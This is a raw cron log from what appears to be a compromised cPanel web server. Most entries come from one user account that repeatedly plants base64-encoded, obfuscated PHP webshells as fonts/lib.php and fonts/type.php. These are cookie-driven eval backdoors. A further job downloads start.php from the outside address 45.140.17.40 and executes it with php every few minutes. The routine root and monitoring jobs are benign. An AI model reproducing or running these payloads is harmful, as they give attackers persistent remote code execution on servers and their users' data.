Sep  8 17:06:01 ip-184-168-122-23 CROND[31046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:06:01 ip-184-168-122-23 CROND[31047]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 17:06:01 ip-184-168-122-23 CROND[31049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:07:01 ip-184-168-122-23 CROND[31659]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:07:01 ip-184-168-122-23 CROND[31662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:07:01 ip-184-168-122-23 CROND[31661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:07:01 ip-184-168-122-23 CROND[31663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:08:01 ip-184-168-122-23 CROND[32331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:08:01 ip-184-168-122-23 CROND[32333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:08:01 ip-184-168-122-23 CROND[32335]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 17:08:01 ip-184-168-122-23 CROND[32336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:08:01 ip-184-168-122-23 CROND[32337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:09:01 ip-184-168-122-23 CROND[602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:09:01 ip-184-168-122-23 CROND[601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:09:01 ip-184-168-122-23 CROND[604]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 17:09:01 ip-184-168-122-23 CROND[606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:09:01 ip-184-168-122-23 CROND[607]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:10:01 ip-184-168-122-23 CROND[1150]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 17:10:01 ip-184-168-122-23 CROND[1153]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 17:10:01 ip-184-168-122-23 CROND[1159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:10:01 ip-184-168-122-23 CROND[1155]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 17:10:01 ip-184-168-122-23 CROND[1156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:10:01 ip-184-168-122-23 CROND[1157]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 17:10:01 ip-184-168-122-23 CROND[1161]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:10:01 ip-184-168-122-23 CROND[1162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:11:01 ip-184-168-122-23 CROND[1741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:11:01 ip-184-168-122-23 CROND[1744]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:11:01 ip-184-168-122-23 CROND[1746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:11:01 ip-184-168-122-23 CROND[1748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:12:01 ip-184-168-122-23 CROND[2293]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 17:12:01 ip-184-168-122-23 CROND[2295]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:12:01 ip-184-168-122-23 CROND[2299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:12:01 ip-184-168-122-23 CROND[2298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:12:01 ip-184-168-122-23 CROND[2300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:13:01 ip-184-168-122-23 CROND[2852]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:13:01 ip-184-168-122-23 CROND[2854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:13:01 ip-184-168-122-23 CROND[2856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:13:01 ip-184-168-122-23 CROND[2855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:14:01 ip-184-168-122-23 CROND[3402]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 17:14:01 ip-184-168-122-23 CROND[3403]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:14:01 ip-184-168-122-23 CROND[3408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:14:01 ip-184-168-122-23 CROND[3406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:14:01 ip-184-168-122-23 CROND[3407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:15:01 ip-184-168-122-23 CROND[3894]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 17:15:01 ip-184-168-122-23 CROND[3896]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:15:01 ip-184-168-122-23 CROND[3897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:15:01 ip-184-168-122-23 CROND[3899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:15:01 ip-184-168-122-23 CROND[3900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:15:01 ip-184-168-122-23 CROND[3898]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 17:16:02 ip-184-168-122-23 CROND[4395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:16:02 ip-184-168-122-23 CROND[4398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:16:02 ip-184-168-122-23 CROND[4399]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 17:16:02 ip-184-168-122-23 CROND[4400]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 17:16:02 ip-184-168-122-23 CROND[4397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:16:02 ip-184-168-122-23 CROND[4404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:17:01 ip-184-168-122-23 CROND[4997]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:17:01 ip-184-168-122-23 CROND[4999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:17:01 ip-184-168-122-23 CROND[4996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:17:01 ip-184-168-122-23 CROND[4998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:18:01 ip-184-168-122-23 CROND[5517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:18:01 ip-184-168-122-23 CROND[5516]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
